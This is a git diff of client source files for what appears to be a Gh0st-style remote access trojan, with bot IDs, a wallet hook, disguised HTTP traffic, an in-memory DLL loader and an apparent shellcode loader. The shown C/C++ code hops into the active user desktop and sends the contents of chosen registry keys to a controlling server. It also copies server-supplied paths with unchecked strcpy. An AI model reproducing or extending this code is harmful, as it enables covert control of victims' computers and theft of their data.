GetUserObjectInformationA(currentDesk, UOI_NAME, oldName, sizeof(oldName), &len);
|
||||
GetUserObjectInformationA(hInputDesk, UOI_NAME, newName, sizeof(newName), &len);
|
||||
|
||||
if (oldName[0] && newName[0] && strcmp(oldName, newName) != 0) {
|
||||
Mprintf("Desktop changed from '%s' to '%s'\n", oldName, newName);
|
||||
return hInputDesk;
|
||||
}
|
||||
}
|
||||
CloseDesktop(hInputDesk);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// 桌面切换辅助函数:通过桌面名称比较判断是否需要切换
|
||||
// 返回值:true表示桌面已切换,false表示桌面未变化
|
||||
bool SwitchToDesktopIfChanged(HDESK& currentDesk, DWORD accessRights)
|
||||
{
|
||||
HDESK hInputDesk = IsDesktopChanged(currentDesk, accessRights);
|
||||
|
||||
if (hInputDesk) {
|
||||
if (currentDesk) {
|
||||
CloseDesktop(currentDesk);
|
||||
}
|
||||
currentDesk = hInputDesk;
|
||||
SetThreadDesktop(currentDesk);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// - SelectDesktop(char *)
|
||||
// Switches the current thread into a different desktop, by name
|
||||
// Calling with a valid desktop name will place the thread in that desktop.
|
||||
// Calling with a NULL name will place the thread in the current input desktop.
|
||||
HDESK SelectDesktop(TCHAR* name)
|
||||
{
|
||||
HDESK desktop = NULL;
|
||||
|
||||
if (name != NULL) {
|
||||
// Attempt to open the named desktop
|
||||
desktop = OpenDesktop(name, 0, FALSE,
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
} else {
|
||||
// No, so open the input desktop
|
||||
desktop = OpenInputDesktop(0, FALSE,
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
}
|
||||
|
||||
// Did we succeed?
|
||||
if (desktop == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Switch to the new desktop
|
||||
if (!SelectHDESK(desktop)) {
|
||||
// Failed to enter the new desktop, so free it!
|
||||
CloseDesktop(desktop);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// We successfully switched desktops!
|
||||
return desktop;
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
|
||||
{
|
||||
m_bReady = TRUE;
|
||||
m_ClientObject = ClientObject;
|
||||
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||
|
||||
m_hEventDlgOpen = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
}
|
||||
|
||||
CManager::~CManager()
|
||||
{
|
||||
if (m_hEventDlgOpen != NULL) {
|
||||
SAFE_CLOSE_HANDLE(m_hEventDlgOpen);
|
||||
m_hEventDlgOpen = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
BOOL CManager::Send(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
int nRet = 0;
|
||||
try {
|
||||
nRet = m_ClientObject->Send2Server((char*)lpData, nSize);
|
||||
} catch (...) {
|
||||
Mprintf("[ERROR] CManager::Send catch an error \n");
|
||||
};
|
||||
return nRet;
|
||||
}
|
||||
|
||||
VOID CManager::WaitForDialogOpen()
|
||||
{
|
||||
WaitForSingleObject(m_hEventDlgOpen, 8000);
|
||||
//必须的Sleep,因为远程窗口从InitDialog中发送COMMAND_NEXT到显示还要一段时间
|
||||
Sleep(150);
|
||||
}
|
||||
|
||||
VOID CManager::NotifyDialogIsOpen()
|
||||
{
|
||||
SetEvent(m_hEventDlgOpen);
|
||||
}
|
||||
74
client/Manager.h
Normal file
74
client/Manager.h
Normal file
@@ -0,0 +1,74 @@
|
||||
// Manager.h: interface for the CManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
|
||||
#define AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "..\common\commands.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
#define ENABLE_VSCREEN 1
|
||||
#define ENABLE_KEYBOARD 1
|
||||
|
||||
HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess = 0);
|
||||
|
||||
HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights);
|
||||
|
||||
bool SwitchToDesktopIfChanged(HDESK& currentDesk, DWORD accessRights);
|
||||
|
||||
HDESK SelectDesktop(TCHAR* name);
|
||||
|
||||
std::string GetBotId();
|
||||
|
||||
typedef IOCPClient CClientSocket;
|
||||
|
||||
typedef IOCPClient ISocketBase;
|
||||
|
||||
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive = false);
|
||||
|
||||
class CManager : public IOCPManager
|
||||
{
|
||||
public:
|
||||
const State& g_bExit; // 1-被控端退出 2-主控端退出
|
||||
BOOL m_bReady;
|
||||
CManager(IOCPClient* ClientObject);
|
||||
virtual ~CManager();
|
||||
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) {}
|
||||
IOCPClient* m_ClientObject;
|
||||
HANDLE m_hEventDlgOpen;
|
||||
VOID WaitForDialogOpen();
|
||||
VOID NotifyDialogIsOpen();
|
||||
|
||||
BOOL IsConnected() const
|
||||
{
|
||||
return m_ClientObject->IsConnected();
|
||||
}
|
||||
virtual void Notify() { }
|
||||
virtual void UpdateWallet(const std::string& wallet) { }
|
||||
BOOL Send(LPBYTE lpData, UINT nSize);
|
||||
BOOL SendData(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
return Send(lpData, nSize);
|
||||
}
|
||||
virtual void SetReady(BOOL ready = true)
|
||||
{
|
||||
m_bReady = ready;
|
||||
}
|
||||
virtual uint64_t GetClientID() const
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
|
||||
1208
client/MemoryModule.c
Normal file
1208
client/MemoryModule.c
Normal file
File diff suppressed because it is too large
Load Diff
168
client/MemoryModule.h
Normal file
168
client/MemoryModule.h
Normal file
@@ -0,0 +1,168 @@
|
||||
/*
|
||||
* Memory DLL loading code
|
||||
* Version 0.0.4
|
||||
*
|
||||
* Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de
|
||||
* http://www.joachim-bauch.de
|
||||
*
|
||||
* The contents of this file are subject to the Mozilla Public License Version
|
||||
* 2.0 (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
* http://www.mozilla.org/MPL/
|
||||
*
|
||||
* Software distributed under the License is distributed on an "AS IS" basis,
|
||||
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
|
||||
* for the specific language governing rights and limitations under the
|
||||
* License.
|
||||
*
|
||||
* The Original Code is MemoryModule.h
|
||||
*
|
||||
* The Initial Developer of the Original Code is Joachim Bauch.
|
||||
*
|
||||
* Portions created by Joachim Bauch are Copyright (C) 2004-2015
|
||||
* Joachim Bauch. All Rights Reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef __MEMORY_MODULE_HEADER
|
||||
#define __MEMORY_MODULE_HEADER
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef void *HMEMORYMODULE;
|
||||
|
||||
typedef void *HMEMORYRSRC;
|
||||
|
||||
typedef void *HCUSTOMMODULE;
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef LPVOID (*CustomAllocFunc)(LPVOID, SIZE_T, DWORD, DWORD, void*);
|
||||
typedef BOOL (*CustomFreeFunc)(LPVOID, SIZE_T, DWORD, void*);
|
||||
typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *);
|
||||
typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *);
|
||||
typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *);
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location with the given size.
|
||||
*
|
||||
* All dependencies are resolved using default LoadLibrary/GetProcAddress
|
||||
* calls through the Windows API.
|
||||
*/
|
||||
HMEMORYMODULE MemoryLoadLibrary(const void *, size_t);
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location with the given size using custom dependency
|
||||
* resolvers.
|
||||
*
|
||||
* Dependencies will be resolved using passed callback methods.
|
||||
*/
|
||||
HMEMORYMODULE MemoryLoadLibraryEx(const void *, size_t,
|
||||
CustomAllocFunc,
|
||||
CustomFreeFunc,
|
||||
CustomLoadLibraryFunc,
|
||||
CustomGetProcAddressFunc,
|
||||
CustomFreeLibraryFunc,
|
||||
void *);
|
||||
|
||||
/**
|
||||
* Get address of exported method. Supports loading both by name and by
|
||||
* ordinal value.
|
||||
*/
|
||||
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);
|
||||
|
||||
/**
|
||||
* Free previously loaded EXE/DLL.
|
||||
*/
|
||||
void MemoryFreeLibrary(HMEMORYMODULE);
|
||||
|
||||
/**
|
||||
* Execute entry point (EXE only). The entry point can only be executed
|
||||
* if the EXE has been loaded to the correct base address or it could
|
||||
* be relocated (i.e. relocation information have not been stripped by
|
||||
* the linker).
|
||||
*
|
||||
* Important: calling this function will not return, i.e. once the loaded
|
||||
* EXE finished running, the process will terminate.
|
||||
*
|
||||
* Returns a negative value if the entry point could not be executed.
|
||||
*/
|
||||
int MemoryCallEntryPoint(HMEMORYMODULE);
|
||||
|
||||
/**
|
||||
* Find the location of a resource with the specified type and name.
|
||||
*/
|
||||
HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR);
|
||||
|
||||
/**
|
||||
* Find the location of a resource with the specified type, name and language.
|
||||
*/
|
||||
HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD);
|
||||
|
||||
/**
|
||||
* Get the size of the resource in bytes.
|
||||
*/
|
||||
DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC);
|
||||
|
||||
/**
|
||||
* Get a pointer to the contents of the resource.
|
||||
*/
|
||||
LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC);
|
||||
|
||||
/**
|
||||
* Load a string resource.
|
||||
*/
|
||||
int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int);
|
||||
|
||||
/**
|
||||
* Load a string resource with a given language.
|
||||
*/
|
||||
int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomAllocFunc that calls VirtualAlloc
|
||||
* internally to allocate memory for a library
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
LPVOID MemoryDefaultAlloc(LPVOID, SIZE_T, DWORD, DWORD, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomFreeFunc that calls VirtualFree
|
||||
* internally to free the memory used by a library
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
BOOL MemoryDefaultFree(LPVOID, SIZE_T, DWORD, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomLoadLibraryFunc that calls LoadLibraryA
|
||||
* internally to load an additional libary.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomGetProcAddressFunc that calls GetProcAddress
|
||||
* internally to get the address of an exported function.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE, LPCSTR, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomFreeLibraryFunc that calls FreeLibrary
|
||||
* internally to release an additional libary.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
void MemoryDefaultFreeLibrary(HCUSTOMMODULE, void *);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __MEMORY_MODULE_HEADER
|
||||
58
client/RegisterManager.cpp
Normal file
58
client/RegisterManager.cpp
Normal file
@@ -0,0 +1,58 @@
|
||||
// RegisterManager.cpp: implementation of the CRegisterManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "RegisterManager.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
BYTE bToken=TOKEN_REGEDIT;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||
}
|
||||
|
||||
CRegisterManager::~CRegisterManager()
|
||||
{
|
||||
Mprintf("CRegisterManager 析构\n");
|
||||
}
|
||||
|
||||
VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_REG_FIND: //查数据
|
||||
if(ulLength>3) {
|
||||
Find(szBuffer[1],(char*)(szBuffer+2));
|
||||
} else {
|
||||
Find(szBuffer[1],NULL); //Root数据
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
VOID CRegisterManager::Find(char bToken, char *szPath)
|
||||
{
|
||||
RegisterOperation Opt(bToken);
|
||||
if(szPath!=NULL) {
|
||||
Opt.SetPath(szPath);
|
||||
}
|
||||
char *szBuffer= Opt.FindPath();
|
||||
if(szBuffer!=NULL) {
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||
//目录下的目录
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
szBuffer = Opt.FindKey();
|
||||
if(szBuffer!=NULL) {
|
||||
//目录下的文件
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
}
|
||||
24
client/RegisterManager.h
Normal file
24
client/RegisterManager.h
Normal file
@@ -0,0 +1,24 @@
|
||||
// RegisterManager.h: interface for the CRegisterManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
|
||||
#define AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "RegisterOperation.h"
|
||||
|
||||
class CRegisterManager : public CManager
|
||||
{
|
||||
public:
|
||||
CRegisterManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CRegisterManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
VOID Find(char bToken, char *szPath);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
|
||||
193
client/RegisterOperation.cpp
Normal file
193
client/RegisterOperation.cpp
Normal file
@@ -0,0 +1,193 @@
|
||||
// RegisterOperation.cpp: implementation of the RegisterOperation class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "RegisterOperation.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
enum MYKEY {
|
||||
MHKEY_CLASSES_ROOT,
|
||||
MHKEY_CURRENT_USER,
|
||||
MHKEY_LOCAL_MACHINE,
|
||||
MHKEY_USERS,
|
||||
MHKEY_CURRENT_CONFIG
|
||||
};
|
||||
|
||||
|
||||
enum KEYVALUE {
|
||||
MREG_SZ,
|
||||
MREG_DWORD,
|
||||
MREG_BINARY,
|
||||
MREG_EXPAND_SZ
|
||||
};
|
||||
|
||||
struct REGMSG {
|
||||
int count; //名字个数
|
||||
DWORD size; //名字大小
|
||||
DWORD valsize; //值大小
|
||||
|
||||
};
|
||||
RegisterOperation::RegisterOperation(char bToken)
|
||||
{
|
||||
switch(bToken) {
|
||||
case MHKEY_CLASSES_ROOT:
|
||||
MKEY=HKEY_CLASSES_ROOT;
|
||||
break;
|
||||
case MHKEY_CURRENT_USER:
|
||||
MKEY=HKEY_CURRENT_USER;
|
||||
break;
|
||||
case MHKEY_LOCAL_MACHINE:
|
||||
MKEY=HKEY_LOCAL_MACHINE;
|
||||
break;
|
||||
case MHKEY_USERS:
|
||||
MKEY=HKEY_USERS;
|
||||
break;
|
||||
case MHKEY_CURRENT_CONFIG:
|
||||
MKEY=HKEY_CURRENT_CONFIG;
|
||||
break;
|
||||
default:
|
||||
MKEY=HKEY_LOCAL_MACHINE;
|
||||
break;
|
||||
}
|
||||
|
||||
ZeroMemory(KeyPath,MAX_PATH);
|
||||
}
|
||||
|
||||
RegisterOperation::~RegisterOperation()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
|
||||
char* RegisterOperation::FindPath()
|
||||
{
|
||||
char *szBuffer=NULL;
|
||||
HKEY hKey; //注册表返回句柄
|
||||
/*打开注册表 User kdjfjkf\kdjfkdjf\ */
|
||||
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
|
||||
DWORD dwIndex=0,NameCount,NameMaxLen;
|
||||
DWORD KeySize,KeyCount,KeyMaxLen,MaxDataLen;
|
||||
//这就是枚举了
|
||||
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCount, //14
|
||||
&KeyMaxLen,NULL,&NameCount,&NameMaxLen,&MaxDataLen,NULL,NULL)!=ERROR_SUCCESS) {
|
||||
return NULL;
|
||||
}
|
||||
//一点保护措施
|
||||
KeySize=KeyMaxLen+1;
|
||||
if(KeyCount>0&&KeySize>1) {
|
||||
int Size=sizeof(REGMSG)+1;
|
||||
|
||||
DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
|
||||
szBuffer=(char*)LocalAlloc(LPTR, DataSize);
|
||||
if (szBuffer == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
ZeroMemory(szBuffer,DataSize);
|
||||
szBuffer[0]=TOKEN_REG_PATH; //命令头
|
||||
REGMSG msg; //数据头
|
||||
msg.size=KeySize;
|
||||
msg.count=KeyCount;
|
||||
memcpy(szBuffer+1,(void*)&msg,Size);
|
||||
|
||||
char * szTemp=new char[KeySize];
|
||||
for(dwIndex=0; dwIndex<KeyCount; dwIndex++) { //枚举项
|
||||
ZeroMemory(szTemp,KeySize);
|
||||
DWORD i=KeySize; //21
|
||||
RegEnumKeyEx(hKey,dwIndex,szTemp,&i,NULL,NULL,NULL,NULL);
|
||||
strcpy(szBuffer+dwIndex*KeySize+Size,szTemp);
|
||||
}
|
||||
delete[] szTemp;
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
}
|
||||
|
||||
return szBuffer;
|
||||
}
|
||||
|
||||
|
||||
void RegisterOperation::SetPath(char *szPath)
|
||||
{
|
||||
ZeroMemory(KeyPath,MAX_PATH);
|
||||
strcpy(KeyPath,szPath);
|
||||
}
|
||||
|
||||
char* RegisterOperation::FindKey()
|
||||
{
|
||||
char *szValueName; //键值名称
|
||||
LPBYTE szValueData; //键值数据
|
||||
|
||||
char *szBuffer=NULL;
|
||||
HKEY hKey; //注册表返回句柄
|
||||
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
|
||||
DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type;
|
||||
DWORD KeyCount,KeyMaxLen,DataSize,MaxDataLen;
|
||||
//这就是枚举了
|
||||
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,
|
||||
&KeyCount,&KeyMaxLen,NULL,&NameCount,&NameMaxLen,&MaxDataLen,NULL,NULL)!=ERROR_SUCCESS) {
|
||||
return NULL;
|
||||
}
|
||||
if(NameCount>0&&MaxDataLen>0) {
|
||||
DataSize=MaxDataLen+1;
|
||||
NameSize=NameMaxLen+100;
|
||||
REGMSG msg;
|
||||
msg.count=NameCount; //总个数
|
||||
msg.size=NameSize; //名字大小
|
||||
msg.valsize=DataSize; //数据大小
|
||||
const int msgsize=sizeof(REGMSG);
|
||||
// 头 标记 名字 数据
|
||||
DWORD size=sizeof(REGMSG)+
|
||||
sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10;
|
||||
szBuffer = (char*)LocalAlloc(LPTR, size);
|
||||
if (szBuffer==NULL) {
|
||||
return NULL;
|
||||
}
|
||||
ZeroMemory(szBuffer,size);
|
||||
szBuffer[0]=TOKEN_REG_KEY; //命令头
|
||||
memcpy(szBuffer+1,(void*)&msg,msgsize); //数据头
|
||||
|
||||
szValueName=(char *)malloc(NameSize);
|
||||
szValueData=(LPBYTE)malloc(DataSize);
|
||||
if (szValueName==NULL||szValueData == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
char *szTemp=szBuffer+msgsize+1;
|
||||
for(dwIndex=0; dwIndex<NameCount; dwIndex++) { //枚举键值
|
||||
ZeroMemory(szValueName,NameSize);
|
||||
ZeroMemory(szValueData,DataSize);
|
||||
|
||||
DataSize=MaxDataLen+1;
|
||||
NameSize=NameMaxLen+100;
|
||||
|
||||
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,
|
||||
NULL,&Type,szValueData,&DataSize);//读取键值
|
||||
|
||||
if(Type==REG_SZ) {
|
||||
szTemp[0]=MREG_SZ;
|
||||
}
|
||||
if(Type==REG_DWORD) {
|
||||
szTemp[0]=MREG_DWORD;
|
||||
}
|
||||
if(Type==REG_BINARY) {
|
||||
szTemp[0]=MREG_BINARY;
|
||||
}
|
||||
if(Type==REG_EXPAND_SZ) {
|
||||
szTemp[0]=MREG_EXPAND_SZ;
|
||||
}
|
||||
szTemp+=sizeof(BYTE);
|
||||
strcpy(szTemp,szValueName);
|
||||
szTemp+=msg.size;
|
||||
memcpy(szTemp,szValueData,msg.valsize);
|
||||
szTemp+=msg.valsize;
|
||||
}
|
||||
free(szValueName);
|
||||
free(szValueData);
|
||||
}
|
||||
}
|
||||
return szBuffer;
|
||||
}
|
||||
24
client/RegisterOperation.h
Normal file
24
client/RegisterOperation.h
Normal file
@@ -0,0 +1,24 @@
|
||||
// RegisterOperation.h: interface for the RegisterOperation class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)
|
||||
#define AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
class RegisterOperation
|
||||
{
|
||||
public:
|
||||
RegisterOperation(char bToken);
|
||||
virtual ~RegisterOperation();
|
||||
char* FindPath();
|
||||
HKEY MKEY;
|
||||
char KeyPath[MAX_PATH];
|
||||
void SetPath(char *szPath);
|
||||
char* FindKey();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)
|
||||
BIN
client/Res/ghost.ico
Normal file
BIN
client/Res/ghost.ico
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 4.2 KiB |
BIN
client/Res/msg.ico
Normal file
BIN
client/Res/msg.ico
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 9.4 KiB |
BIN
client/Res/msg.wav
Normal file
BIN
client/Res/msg.wav
Normal file
Binary file not shown.
10329
client/SCLoader.cpp
Normal file
10329
client/SCLoader.cpp
Normal file
File diff suppressed because it is too large
Load Diff
182
client/SCLoader.vcxproj
Normal file
182
client/SCLoader.vcxproj
Normal file
@@ -0,0 +1,182 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{f33fc38a-e7a0-47d1-9f35-6dfe49c7194a}</ProjectGuid>
|
||||
<RootNamespace>SCLoader</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
